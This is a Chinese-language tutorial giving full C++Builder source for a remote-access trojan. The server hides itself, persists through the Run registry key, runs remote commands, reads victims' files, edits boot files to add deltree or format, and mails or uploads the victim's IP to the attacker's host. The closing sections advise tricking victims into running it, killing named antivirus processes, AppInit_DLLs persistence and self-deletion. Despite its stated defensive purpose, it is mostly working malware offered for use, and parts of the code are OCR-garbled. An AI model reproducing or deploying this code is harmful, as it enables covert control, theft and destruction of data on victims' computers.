陌生,自從98年「死牛崇拜」黑客小組公佈Back

Orifice以來,木馬猶如平地上的驚雷,使在Dos——Windows時代中長大的中國網民從 五彩繽紛的網絡之夢中驚醒,終於認識到的網絡也有它邪惡的一面,一時間人心惶惶

我那時在《電腦報》上看到一篇文章,大意是一個菜鳥被人用BO控制了,嚇得整天吃不下飯、睡不著覺、上不了網,到處求救!要知道,木馬(Trojan)的歷史是很悠久的:早在AT&T Unix和BSD

Unix十分盛行的年代,木馬是由一些玩程式(主要是C)水平很高的年輕人(主要是老美)用C或Shell語言編寫的,基本是用來竊取登陸主機的口令,以取得更高的權限。那時木馬的主要方法是誘騙——先修改你的.profile文件,植入木馬;當你登陸時將你敲入的口令字符存入一個文件,用Email的形式發到攻擊者的郵箱裡。國內的年輕人大都是在盜版Dos的熏陶下長大的,對網絡可以說很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推動了網絡事業的發展的時候,BO這個用三年後的眼光看起來有點簡單甚至可以說是簡陋的木馬(甚至在Win9x的「關閉程序」對話框可以看到進程)給了當時中國人極大的震撼,它在中國的網絡安全方面可以說是一個劃時代的軟件。自己編寫木馬,聽起來很Cool是不是?!木馬一定是由兩部分組成——服務器程序(Server)和客戶端程序(Client),服務器負責打開攻擊的道路,就像一個內奸特務;客戶端負責攻擊目標,兩者需要一定的網絡協議來進行通訊(一般是TCP/IP協議)。爲了讓大家更好的瞭解木馬攻擊技術,破除木馬的神秘感,我就來粗略講一講編寫木馬的技術並順便編寫一個例子木馬,使大家能更好地防範和查殺各種已知和未知的木馬。

首先是編程工具的選擇。目前流行的開發工具有C++Builder、VC、VB和Delphi,這裡我們選用C++Builder(以下簡稱BCB);VC雖然好,但GUI設計太複雜,爲了更好地突出我的例子,集中注意力在木馬的基本原理上,我們選用可視化的BCB;Delphi也不錯,但缺陷是不能繼承已有的資源(如「死牛崇拜」黑客小組公佈的BO2000源代碼,是VC編寫的,網上俯拾皆是);VB嘛,談都不談——難道你還給受害者傳一個1兆多的動態鏈接庫——Msvbvm60.dl1嗎?

啓動C++Builder

5.0企業版,新建一個工程,添加三個VCL控件:一個是Internet頁中的Server Socket,另兩個是Fastnet頁中的NMFTP和NMSMTP。Server

Socket的功能是用來使本程序變成一個服務器程序,可以對外服務(對攻擊者敞開大門)。Socket最初是在Unix上出現的,後來微軟將它引入了Windows中(包括Win98和WinNt);後兩個控件的作用是用來使程序具有FTP(File Transfer

Protocol文件傳輸協議)和SMTP (Simple Mail Transfer

Protocol簡單郵件傳輸協議)功能,大家一看都知道是使軟件具有上傳下載功能和發郵件功能的控件。

Form窗體是可視的,這當然是不可思議的。不光佔去了大量的空間(光一個Form就有300K之大),而且使軟件可見,根本沒什麼作用。因此實際寫木馬時可以用一些技巧使程序不包含Form,就像Delphi用過程實現的小程序一般只有17K左右那樣。

我們首先應該讓我們的程序能夠隱身。雙擊Form,首先在FormCreate事件中添加可使木馬在Win9x的「關閉程序」對話框中隱藏的代碼。這看起來很神秘,其實說穿了不過是一種被稱之為Service的後台進程,它可以運行在較高的優先級下,可以說是非常靠近系統核心的設備驅動程序中的那一種。因此,只要將我們的程序在進程數據庫中用RegisterServiceProcess()函數註冊成服務進程(Service

Process)就可以了。不過該函數的聲明在Borland預先打包的頭文件中沒有,那麼我們只好自己來聲明這個位於KERNEL32.DLL中的鳥函數了。

首先判斷目標機的操作系統是Win9x還是WinNt:

```
DWORD dwVersion = GetVersion ();
// 得到操作系統的版本號
if (dwVersion >= 0x80000000)
// 操作系統是Win9x,不是WinNt
 {
    typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS) (DWORD, DWORD);
      //定義RegisterServiceProcess()函數的原型
      HINSTANCE hDLL;
    LPREGISTERSERVICEPROCESS 1pRegisterServiceProcess;
    hDLL = LoadLibrary ("KERNEL32");
    //加載RegisterServiceProcess()函數所在的動態鏈接庫KERNEL32.DLL
    lpRegisterServiceProcess =
(LPREGISTERSERVICEPROCESS) GetProcAddress (hDLL, "RegisterServiceProcess")
      //得到RegisterServiceProcess()函數的地址
      lpRegisterServiceProcess (GetCurrentProcessId (),1);
    //執行RegisterServiceProcess()函數,隱藏本進程
    FreeLibrary (hDLL);
    //卸載動熊鏈接庫
 }
}
   這樣就終於可以隱身了(害我敲了這麼多代碼!)。爲什麼要判斷操作系統呢?
因爲WinNt中的進程管理器可以對當前進程一覽無餘,因此沒必要在WinNt下也使用以
上代碼(不過你可以使用其他的方法,這個留到後面再講)。
接著再將自己拷貝一份到%System%目錄下,例如:C:\Windows\System,並修改註冊表
,以便啓動時自動加載:
char TempPath[MAX PATH];
//定義一個變量
GetSystemDirectory (TempPath ,MAX_PATH) ;
//TempPath是system目錄緩衝區的地址,MAX PATH是緩衝區的大小,得到目標機的Syst
em目錄路徑
SystemPath=AnsiString (TempPath);
//格式化TempPath字符串,使之成爲能供編譯器使用的樣式
CopyFile (ParamStr (0) .c_str (),
AnsiString (SystemPath+"\\Tapi32.exe").c str(),FALSE);
//將自己拷貝到%System%目錄下,並改名爲Tapi32.exe,僞裝起來
```

```
Registry=new TRegistry;
//定義一個TRegistry對象,準備修改註冊表,這一步必不可少
Registry->RootKey=HKEY LOCAL MACHINE;
//設置主鍵爲HKEY_LOCAL_MACHINE
Registry->OpenKey ("Software\\Microsoft\\Windows\\
CurrentVersion\\Run".TRUE):
//打開鍵値Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就
創建之
try
   //如果以下語句發生異常,跳至catch,以避免程序崩潰
   if (Registry->ReadString ("crossbow") !=SystemPath+"\\Tapi32.exe")
     Registry->WriteString ("crossbow", SystemPath+"\\Tapi32.exe");
//查找是否有「crossbow」字樣的鍵值,並且是否爲拷貝的目錄%System%+Tapi32.exe
    //如果不是,就寫入以上鍵値和內容
catch (...)
 //如果有錯誤,什麼也不做
}
  好,FormCreate過程完成了,這樣每次啟動都可以自動加載Tapi32.exe,並且在
「關閉程序」對話框中看不見本進程了,木馬的雛形初現。
接著選中ServerSocket控件,在左邊的Object
Inspector中將Active改爲true,這樣程序一啟動就打開特定端口,處於服務器工作狀
態。再將Port填入4444,這是木馬的端口號,當然你也可以用別的。但是你要注意不
要用1024以下的低端端口,因爲這樣不但可能會與基本網絡協議使用的端口相衝突,
而且很容易被發覺,因此盡量使用1024以上的高端端口(不過也有這樣一種技術,它
故意使用特定端口,因爲如果引起衝突,Windows也不會報錯
^ ^)。你可以看一看TNMFTP控件使用的端口,是21號端口,這是FTP協議的專用控制
端口(FTP Control Port);同理TNMSMTP的25號端口也是SMTP協議的專用端口。
   再選中ServerSocket控件,點擊Events頁,雙擊OnClientRead事件,敲入以下代
碼:
 FILE *fp=NULL;
 char * content;
 int times of try;
 char TempFile[MAX_PATH];
 //定義了一堆待會兒要用到的變量
 sprintf (TempFile, "%s",
AnsiString (SystemPath+AnsiString ("\\Win369.BAT") ).c str());
```

```
//在%System%下建立一個文本文件Win369.bat,作爲臨時文件使用
 AnsiString temp=Socket->ReceiveText();
 //接收客戶端(攻擊者,也就是你自己)傳來的數據
}
   好,大門敞開了!接著就是修改目標機的各種配置了!^^
首先我們來修改Autoexec.bat和Config.sys吧:
if (temp.SubString (0.9) = "edit conf")
 //如果接受到的字符串的前9個字符是「edit conf |
    int number=temp.Length();
    //得到字符串的長度
    int file name=atoi ( (temp.SubString (11,1) ).c str());
    //將第11個字符轉換成integer型,存入file name變量
    //爲什麼要取第11個字符,因爲第10個字符是空格字符
    content= (temp.SubString (12,number-11) +'\n').c str();
    //餘下的字符串將被作爲寫入的內容寫入目標文件
    FILE *fp=NULL;
    char filename[20];
    chmod ("c:\\autoexec.bat",S_IREADIS_IWRITE);
    chmod ("c:\\config.sys",S IREADIS IWRITE);
    //將兩個目標文件的屬性改爲可讀可寫
    if (file name==1)
      sprintf (filename, "%s", "c:\\autoexec.bat");
      //如果第11個字符是1,就把Autoexec.bat格式化
    else if (file name==2)
      sprintf (filename, "%s", "c:\\config.sys");
      //如果第11個字符是1,就把Config.sys格式化
    times of try=0:
    //定義計數器
    while (fp==NULL)
        //如果指針是空
      fp=fopen (filename, "a+");
      //如果文件不存在, 創建之; 如果存在, 準備在其後添加
      //如果出錯,文件指針爲空,這樣就會重複
      times_of_try=times_of_try+1;
      //計數器加1
      if (times of try>100)
      {
          //如果已經試了100次了,仍未成功
          Socket->SendText ("Fail By Open File");
          //就發回「Fail By Open File」的錯誤信息
          goto END;
```

```
//跳至END處
      }
     fwrite (content, sizeof (char), strlen (content), fp);
     //寫入添加的語句,例如deltree/y C:或者format/q/autotest
C: , 夠畫吧?!
    fclose (fp);
    //寫完後關閉目標文件
    Socket->SendText ("Sucess");
    //然後發回「Success」的成功信息
  }
}
   你現在可以通過網絡來察看目標機上的這兩個文件了,並且還可以向裡面隨意添
加任何命令。呵呵,這只不過是牛刀小試罷了。
的啟動配置文件,這回我們就來查看目標機上的目錄樹和文件吧,這在客戶端上使用
「dir」命令,跟著敲囉:
else if (temp.SubString (0, 3) = "dir")
   //如果前3個字符是「dir」
   int Read_Num;
   char * CR_LF="\n";
   int attrib;
   char *filename;
   DIR *dir;
   struct dirent *ent;
   int number=temp.Length();
   //得到字符串的長度
   AnsiString Dir Name=temp.SubString (5, number-3);
   //從字符串第六個字符開始,將後面的字符存入Dir Name變量,這是目錄名
   if (Dir_Name=="")
    {
      //如果目錄名爲空
      Socket->SendText ("Fail By Open DIR's Name");
      //返回「Fail By Open DIR's Name」信息
      goto END;
      //跳到END
   char * dirname;
   dirname=Dir Name.c str ();
   if ((dir = opendir (dirname)) == NULL)
    {
      //如果打開目錄出錯
      Socket->SendText ("Fail by your DIR's name!");
```

```
//返回「Fail By Your DIR's Name」信息
   goto END;
   //跳到END
 }
times_of_try=0;
while (fp==NULL)
 {
   //如果指針是NULL
   fp=fopen (TempFile, "w+");
   //就創建system\Win369.bat準備讀和寫;如果此文件已存在,則會被覆蓋
   times_of_try=times_of_try+1;
   //計數器加1
   if (times_of_try>100)
      //如果已經試了100次了,仍未成功(真有耐心!)
      Socket->SendText ("Fail By Open File") :
      //就發回「Fail By Open File」的錯誤信息
      goto END;
      //並跳到END處
while ((ent = readdir(dir)) != NULL)
    //如果訪問目標目錄成功
    if (* (AnsiString (dirname) ) .AnsiLastChar () !='\\')
    //如果最後一個字符不是「\」,證明不是根目錄
    filename= (AnsiString (dirname) +"\\"+ent->d_name) .c_str();
     //加上「\」字符後將指針指向目錄流
    else
     filename= (AnsiString (dirname) +ent->d_name) .c_str ();
     //如果是根目錄,則不用加「\」
    attrib= rtl chmod (filename, 0);
    //得到目標文件的訪問屬性
    if (attrib & FA RDONLY)
    //「&」字符是比較前後兩個變量,如果相同返回1,否則返回0
     fwrite (" R", sizeof (char), 3, fp);
     //將目標文件屬性設爲只讀
    else
     fwrite (" " 'sizeof (char) ', 3 ', fp);
     //失敗則寫入空格
    if (attrib & FA HIDDEN)
     fwrite ("H", sizeof (char), 1, fp);
     //將目標文件屬性設爲隱藏
    else
     fwrite (" " 'sizeof (char) ', 1 ', fp);
     //失敗則寫入空格
```

```
if (attrib & FA_SYSTEM)
        fwrite ("S", sizeof (char), 1, fp);
        //將目標文件屬性設爲系統
       else
        fwrite (" " 'sizeof (char) ', 1 ', fp);
        //失敗則寫入空格
        if (attrib & FA ARCH)
        fwrite ("A" 'sizeof (char) ', 1 ', fp);
        //將目標文件屬性設爲普通
       else
        fwrite(" " 'sizeof(char) '1', fp);
        //失敗則寫入空格
        if (attrib & FA DIREC)
        fwrite ("
", sizeof (char), 9, fp);
        //將目標文件屬性設爲目錄
       else
        fwrite ("
                        ", sizeof (char), 9, fp);
        //失敗則寫入空格
        fwrite (ent->d name, sizeof (char), strlen (ent->d name), fp);
        //將目錄名寫入目標文件
       fwrite (CR_LF, 1, 1, fp);
       //寫入換行
      }
      fclose (fp);
      //關閉文件
      closedir (dir);
      //關閉目錄
      FILE *fp1=NULL;
      times of try=0;
      while (fpl==NULL)
        fpl=fopen (TempFile, "r");
        //打開Win369.bat準備讀
        times_of_try=times_of_try+1;
        //計數器加1
        if (times_of_try>100)
           //如果已經試了100次了,仍未成功
           Socket->SendText ("Fail By Open File");
           //就發回「Fail By Open File」的錯誤信息
           goto END;
           //並跳到END處
        }
        }
```

```
AnsiString Return Text="";
      char temp_content[300];
      for (int i=0; i<300; i++) temp_content[i]='\0';
      //定義的一個空數組
      Read_Num=fread (temp_content, 1, 300, fp1);
      //從目標文件中讀入前300個字符
      while (Read Num==300)
       Return Text=Return Text+temp content;
       //Return_Text變量加上剛才的300個字符
       for (int i=0; i<300; i++) temp_content[i]='\0';
       Read Num=fread (temp content, 1, 300, fpl);
       //重複
      };
      Return_Text=Return_Text+temp_content;
      //Return_Text變量加上剛才的300個字符
      fclose (fp1):
      //關閉目標文件
      Socket->SendText (Return_Text);
      //返回Return_Text變量的內容
   }
夠長吧?!察看目錄樹這麼費勁啊?!你後面可以用BCB中的各種列表框對Client.exe
好好美化美化。接下來就是查看指定文件的內容了,Client將使用「type」命令,(
手指累不累啊?):
else if (temp.SubString(0, 4) == "type")
   //如果前4個字符是「type」
   int Read Num:
   int number=temp.Length();
   AnsiString File_Name=temp.SubString (6, number-4);
   //將目標文件流存入File Name變量中
   times_of_try=0;
   while (fp==NULL)
       fp=fopen (File Name.c str() , "r");
       //打開目標文件準備讀
       times of try=times_of_try+1;
       //計數器加1
       if (times of try>100)
        //如果已試了100次了
          Socket->SendText ("Fail By Open File");
          //返回「Fail By Open File」的錯誤信息
```

```
goto END;
          //跳到END
      }
     }
   AnsiString Return_Text="";
   char temp content[300];
   for (int i=0; i<300; i++) temp content[i]='\0';
   //定義一個空數組
   Read_Num=fread (temp_content, 1, 300, fp);
   //從目標文件中讀入前300個字符
   while (Read_Num==300)
     {
      Return_Text=Return_Text+temp_content;
      //Return_Text的內容加上剛才的字符
      for (int i=0; i<300; i++) temp_content[i]='\0';
      Read Num=fread (temp content, 1, 300, fp);
      //重複
     };
   Return_Text=Return_Text+temp_content;
   //Return_Text的內容加上剛才的字符
   fclose (fp);
   //關閉目標文件
   Socket->SendText (Return_Text);
   //返回Return_Text的內容,即你查看文件的內容
}
}
咳咳!累死了!還是來點輕鬆的吧——操縱目標機的光驅(注意:mciSendString()
函數的聲明在mmsystem.h頭文件中):
else if (temp=="open")
   //如果收到的temp的內容是「open」
   mciSendString ("set cdaudio door open", NULL, 0, NULL);
   //就彈出光驅的托盤
}
else if (temp=="close")
   //如果收到的temp的內容是「close」
   mciSendString ("Set cdaudio door closed wait", NULL, 0, NULL);
   //就收入光驅的托盤。當然你也可以搞個死循環,讓他的光驅好好活動活動!^^
}
}
   接著就是交換目標機的鼠標左右鍵,代碼如下:
```

```
else if (temp=="swap")
   SwapMouseButton (1);
   //交換鼠標左右鍵,簡單吧?
}
}
   然後就是使日標機重新啓動。但這裡要區分WinNt和Win9x——NT非常注重系統每
個進程的權利,一個普通的進程是不應具備有調用系統的權利的,因此我們要賦予本
程序足夠的權限:
else if (temp=="reboot")
   //如果收到的temp的內容是「temp」
   DWORD dwVersion = GetVersion ();
   //得到操作系統的版本號
   if (dwVersion < 0x80000000)
      //操作系統是WinNt,不是Win9x
    HANDLE hToken;
    TOKEN PRIVILEGES tkp;
    //定義變量
    OpenProcessToken (GetCurrentProcess (), TOKEN ADJUST PRIVILEGES |
TOKEN QUERY, &hToken);
    //OpenProcessToken()這個函數的作用是打開一個進程的訪問令牌
    //GetCurrentProcess()函數的作用是得到本進程的句柄
    LookupPrivilegeValue (NULL,
SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
     //LookupPrivilegeValue()的作用是修改進程的權限
     tkp.PrivilegeCount = 1;
      //賦給本進程特權
     tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
      AdjustTokenPrivileges (hToken, FALSE, &tkp,
0, (PTOKEN_PRIVILEGES) NULL, 0);
    //AdjustTokenPrivileges()的作用是通知Windows NT修改本進程的權利
    ExitWindowsEx (EWX REBOOT | EWX FORCE, 0);
      //強行退出WinNt並重啓
   else ExitWindowsEx (EWX_FORCE+EWX_REBOOT, 0);
     //強行退出Win9x並重啓
}
}
```

如果以上都不是,就讓它在Dos窗口中執行傳來的命令:

```
{
e1se
   //如果都不是
   char * CR_TF="\n";
   times of try=0;
   while (fp==NULL)
     fp=fopen (TempFile, "w+");
     //創建Win369.bat,如果已存在就覆蓋
     times of try=times of try+1;
      //計數器加1
     if (times_of_try>100)
      Socket->SendText ("Fail By Open File");
      //返回「Fail By Open File」的信息
      goto END;
      //跳到END
   }
   fwrite (temp.c_str() ', sizeof (char) ', strlen (temp.c_str()) ', fp);
   //寫入欲執行的命令
   fwrite (CR_TF 'sizeof (char) 'strlen (CR_TF) 'fp);
   //寫入換行符
   fclose (fp);
   //關閉Win369.bat
   system (TempFile);
   //執行Win369.bat
   Socket->SendText ("Success");
   //返回「Success」信息
}
}
   你可以直接執行什麼Ping和Tracert之類的命令來進一步刺探目標機的網絡狀況(
判斷是否是一個企業的局域網),然後可以進一步攻擊,比如Deltree和Format命令。
   到此,服務器程序的功能已全部完成,但還差容錯部分未完成,這樣才能避免程
序因意外而崩潰。
其代碼如下(照敲不誤 ^_^):
{
END:;
 Socket- Close ();
 //關閉服務
 ServerSocket1- > Active = true;
```

```
//再次打開服務
  if (NMSMTP1-) Connected) NMSMTP1-) Disconnect();
  //如果SMTP服務器已連接則斷開
 NMSMTP1-  Host = "smtp.163.net";
 //選一個好用的SMTP服務器,如163、263、sina和btamail
 NMSMTP1 - \rangle UserID = "";
  //你SMTP的ID
  try
  {
   NMSMTP1- Connect ();
   //再次連接
 catch (...)
   goto NextTime;
   //跳到NextTime
 NMSMTP1- > PostMessage- > FromAddress = "I don't know!";
 //受害者的Email地址
 NMSMTP1- > PostMessage- > FromName = "Casualty";
 //受害者的名字
 NMSMTP1- > PostMessage- > ToAddress- > Text = "crossbow@8848.net";
 //將信發到我的郵箱,這一步很關鍵
 NMSMTP1- \rangle PostMessage- \rangle Body- \rangle Text = AnsiString ("Server Running on:")
+ NMSMTP1- > LocalIP;
  //信的內容提示你「服務器正在運行」,並且告訴你受害者的目前的IP地址,以便
連接
 NMSMTP1- > PostMessage- > Subject = "Server Running Now!";
 //信的主題
 NMSMTP1-> SendMail();
 //發送!
  return;
 //返回
NextTime:
 NMFTP1-\rangle Host = "ftp.go.163.com";
 //你的FTP服務器的地址
 NMFTP1 - \rangle UserID = "";
 //你的用戶ID
 NMFTP1-\rangle Port = 21;
 //FTP端口號,一般為21
 NMFTP1- \rangle Password = "";
 //你的FTP的密碼
  if (NMFTP1-) Connected) NMFTP1-) Disconnect ();
  //如果已連接就斷開
  try
```

```
NMFTP1- Connect ();
     //再連接
   }
 catch (...)
      return;
      //返回
 AnsiString SendToSite = "Server Running on: " + NMFTP1-> RemoteIP;
  //受害者的IP地址
 FILE * Upload;
 Upload = fopen (NMFTP1-) RemoteIP.c_str(), "w+");
 //創建一個新文件準備寫,如果已存在就覆蓋
 fwrite (SendToSite.c_str () ,sizeof (char) ,SendToSite.Length () ,Upload
);
  //寫入以上的SendToSite的內容
 fclose (Upload);
 //寫完後關閉此文件
 NMFTP1- RemoveDir ("public_html");
 //刪除public html目錄
 NMFTP1- > Upload (NMFTP1- > RemoteIP, NMFTP1- > RemoteIP);
 //上傳!
}
   啊,超長的OnClientRead事件終於寫完了。最後別忘了要在此服務器源碼文件中
添加以下頭文件:
#include \langle stdlib.h \rangle
#include \langle dirent.h \rangle
#include \langle fcntl.h \rangle
#include \langle dos.h \rangle
#include \langle sys\stat.h \rangle
#include \langle winbase.h \rangle
#include \langle stdio.h \rangle
#include \langle process.h \rangle
#include (io.h)
#include \langle mmsystem.h \rangle
   至此,服務器端(Server)程序已全部完工!(終於可以好好歇歇了!)別慌!
以上代碼只是完成了整個木馬程序的一半。(「撲通」,有人暈倒了!)下面我們就
```

客戶端程序其實是很簡單的。另新建一個Form,添加一個ClientSocket(和ServerSocket在相同的頁下),再添加四個Editbox,命名爲Edit1,Edit2,Edit3和Edit4,最後添加一個Button,Caption爲「發送」。Edit1是輸入命令用的,Edit2是準備輸

將乘勝追擊——搞定客戶端程序(Client)!

入目標機的IP地址用的,Edit3是輸入連接端口號用的,Edit4是用來輸入欲添加的語句或顯示命令執行的結果的。(頭是不是有點大了?!)

```
雙擊Button1,在Button1Click事件中添加如下代碼:
{
   if ( (Edit2-) Text=="") | | (Edit3-) Text=="") ) return;
   //如果輸入IP地址框或輸入端口號框有一個為空,就什麼也不作
   ClientSocket1- > Address=Edit2- > Text;
   //目標IP地址
   ClientSocket1- \rangle Port=atoi (Edit2- \rangle Text.c str ());
   //目標端口號,本例中的44444
   ClientSocket1- > Open ();
   //連接!
}
   選中CilentSocket1控件,雙擊OnConnectt事件,在ClientSocket1Connect下添加
如下代碼:
 if ( (Edit1- > Text="edit conf 1") | | (Edit1- > Text="edit conf 2") )
 //如果是要編輯autoexec.bat或config.sys
   Socket-> SendText (Edit1-> Text+Edit4-> Text);
   //發送命令和欲添加的語句
 else
   Socket- > SendText (Edit1- > Text);
   //否則只發送命令
}
   雙擊OnRead事件,在ClientSocket1Read下添加如下代碼:
 AnsiString ReadIn = Socket-> ReceiveText();
 //讀入收到的返回信息
 Edit4- \rangle Text="";
 //清空編輯框
 FILE *fp;
 fp = fopen ("ReadIn.tmp", "w");
 //建立一個臨時文件ReadIn.tmp
 fwrite (ReadIn.c_str () ,1,10000,fp);
 //寫入信息
 fclose (fp);
 //關閉之
 Edit4- \ Lines- \ LoadFromFile ("ReadIn.tmp");
 //在編輯框中顯示返回的信息
}
```

爲了敲完命令後直接回車就可以發送,我們可以使Button1的代碼共享。雙擊Edit

```
1的OnKeyPress命令,輸入:
{
   if (Key==VK_RETURN) Button1Click (Sender);
   //如果敲的是回車鍵,就和點擊Button1一樣的效果
}
   最後再添加以下頭文件:
#include "stdlib.h"
#include "winbase.h"
#include "fcntl.h"
#include "stdio.h"
```

終於寫完了!!! (如果你對簡陋的界面不滿意,可以自己用BCB中豐富的控件好好完善完善嘛!)按下Ctrl+F9進行編譯鏈接吧!對於Server,你可以選一個足以迷惑人的圖標(我選的是一個目錄模樣的圖標)進行編譯,這樣不但受害者容易中招,而且便於隱藏自己。

接下來就把Server程序寄給受害者,誘騙他(她)執行,在你得到他(她)的IP後(這不用我教吧?),就啓動Client程序,敲入「edit conf 1」就編輯Autoexec.bat文件,敲入「edit conf

2」就編輯Config.sys文件, 敲入「dir

xxx」(xxx是目錄名)就可以看到目錄和文件,敲「type

xxx」就可以察看任何文件,輸入「open」,彈出目標機的光驅托盤,「close」就收入托盤,輸入「swap」就可以交換受害者的鼠標左右鍵,輸入「reboot」就啟動目標機……不用我多說了吧?

以上只是一個簡單的例子,真正寫起木馬來要解決的技術問題比這多得多,這得 需要紮實的編程功底和豐富的經驗。如下的問題就值得仔細考慮:

首先是程序的大小問題,本程序經編譯鏈接後得到的可執行文件竟有400多K,用A spack1.07壓了一下也還有200多K。可以看出不必要的Form是應該去掉的;並且盡量由自己調用底層的API函數,而盡量少使用Borland打好包的VCL控件;要盡量使用彙編語言(BCB支持C++和彙編混編),不但速度會加快,而且大小可以小很多,畢竟木馬是越小越好。

還有啓動方式的選擇。出了Win.ini、System.ini之外,也還是那幾個註冊表鍵値,如:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

都已被其他的木馬用爛了。現在又開始對exe、dll和txt文件的關聯程序動手腳了(如冰河和廣外女生)。這裡涉及到參數傳遞的問題。得到ParamStr()函數傳來的參數,啓動自己後再啓動與之關聯的程序,並將參數傳遞給它,這樣就完成了一次「雙啟動」,而受害者絲毫感覺不到有任何異常。具體鍵值如:

與exe文件建立關聯: HKEY_CLASSES_ROOT\exefile\shell\open\command 與txt文件建立關聯: HKEY_CLASSES_ROOT\txtfile\shell\open\command 與dll文件建立關聯: HKEY_CLASSES_ROOT\dllfile\shell\open\command

等,當然還可以自己擴充。目前還有一種新方法:在

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows

下添加如下鍵值

"AppInit_DLLs"="Server.dll",這就把Server.dll註冊爲系統啓動時必須加載的模塊(你應該把木馬編譯成DLL)。下次開機時,木馬以動態鏈接庫形式被加載,存在於系統進程中。因爲沒有它自己的PID(Process ID

進程識別號),所以在NT的任務管理器中也看不見(不過在「系統信息」——「軟件環境」——「已加載的32位模塊」中還是可以詳細看到當前內存中加載的每一個模塊的),這樣做的目的是可以使自己的程序更加隱蔽,提高木馬的生存能力。

木馬的功能還可以大大擴充。你可以充分發揮你的想像力——比如上傳、下載、新建、改名、移動文件,截圖存爲jpg文件傳回,錄音監聽成Wav文件,錄像成AVI文件,彈光驅,讀軟驅,關機,重啓,不停地掛起,胡亂切換分辨率(燒掉你的顯示器),發對話框,不停地打開資源管理器直到死機,殺掉Kernel32.dll進程使機器暴死,交換鼠標左右鍵,固定鼠標,限制鼠標活動範圍,鼠標不聽指揮到處亂竄,記錄擊鍵記錄(記錄上網口令,這需要深入瞭解鉤子(Hook)技術,如鍵盤鉤子和鼠標鉤子),竊取重要的密碼文件如pwl和sam文件,格式化磁盤,亂寫磁盤扇區(像病毒大爆發),破壞零磁道,亂寫BIOS(像CIH),胡亂設置CMOS,加密MBR、HDPT和FAT(像江民炸彈)……真是琳琅滿目、心狠手辣呀!而且實現起來並不是很複雜,只不過後面幾項需要比較紮實的彙編功底而已(有幾項要用到Vxd技術)。唉!路漫漫其修遠兮,吾將上下而求索……

如果你想更安全地執行你的入侵活動,就應該像廣外女生一樣可以殺掉防火牆和殺毒軟件的進程。防火牆和殺毒軟件監視的是特徵碼,如果你是新木馬,它就不吱一聲;但是如果你打開不尋常的端口,它就會跳出來報警。因此最好的辦法是啟動後立即分析當前進程,查找有沒有常見防火牆和殺毒軟件的進程,如果有就殺無赦。比如常見的如:Lockdown,天網防火牆,網絡衛兵,kv3000,瑞星,金山毒霸,Pc-Cillin,Panda,Mcafee,Norton和CheckPoint。殺掉後,再在特定的內存地址中作一個標記,使它們誤以爲自己已啟動,因此不會再次啟動自己了。

針對來自反彙編工具的威脅。如果有人試圖將你的木馬程序反彙編,他成功後,你的一切秘密就暴露在他的面前了,因此,我們要想辦法保護自己的作品。首先想到的是條件跳轉,條件跳轉對於反向工程來說並不有趣。沒有循環,只是跳轉,作爲使

偷竊者令人頭痛的路障。這樣,就沒有簡單的反向操作可以執行了。陷阱,另一個我不太肯定,但聽說有程序使用的方法:用CRC校驗你的EXE文件,如果它被改變了,不要顯示典型錯誤信息,而給予偷竊者致命的一擊。

最後如果你需要它完成任務後可以自己刪除自己,我提示你:退出前建立一個批處理文件,加入循環刪除本exe文件和本批處理文件自己的命令後保存,執行它,再放心地退出。你可以試一下,所有文件都消失了吧?!這叫「踏雪無痕」。

入侵安裝了防火牆的機器最好使用自己編寫的木馬,這樣不光防火牆不會報警,而且你自己心裡也坦然一些——畢竟是自己的作品嗎!如果你是系統管理員,那就請你不要偷懶,不僅要經常掃瞄1024以下的端口,而且包括1024以上的高端端口也要仔細掃瞄,65535個端口一個也不能漏。因為許多木馬打開的就是高端端口(如本例中的4444)。

寫在最後:上面例子的用意並不是教你去如何攻擊他人,目的只是讓你瞭解木馬 的工作原理和簡單的編寫步驟,以便更好地防範和殺除木馬,維護我們自己應有的網 絡安全。因此,請列位看官好自爲之,不要亂下殺手啊!